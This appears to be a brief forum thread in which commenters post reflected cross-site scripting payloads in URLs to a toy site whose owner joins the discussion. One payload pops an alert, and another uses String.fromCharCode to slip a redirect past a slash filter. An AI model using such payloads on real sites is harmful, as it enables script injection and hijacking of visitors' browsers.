5 ms·

Couldn't resist. https://igot99inputs.appspot.com/andthisainttwo%3Cimg%20src=x%20onerror=alert%28%27xss%27%29%3E https://igot99inputs.appspot.com/andthisainttw

• humanarity 12y ago
  This is a really cool idea -- can you use a link shortener so that it fits?
  • xrstf 12y ago
    Slashes are not possible, that makes it hard to load code from somewhere.
    • humanarity 12y ago
      Great point. I'll change it so slash is no longer a delimiter. What character do you think would work ?
    • omgpeaches 12y ago
      Well, you could bypass that by using String.fromCharCode() eventually? i.e. https://igot99inputs.appspot.com/andthisainttwo<img https://igot99inputs.appspot.com/andthisainttwo<img src=x onerror=document.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,100,101); > (that's google.com)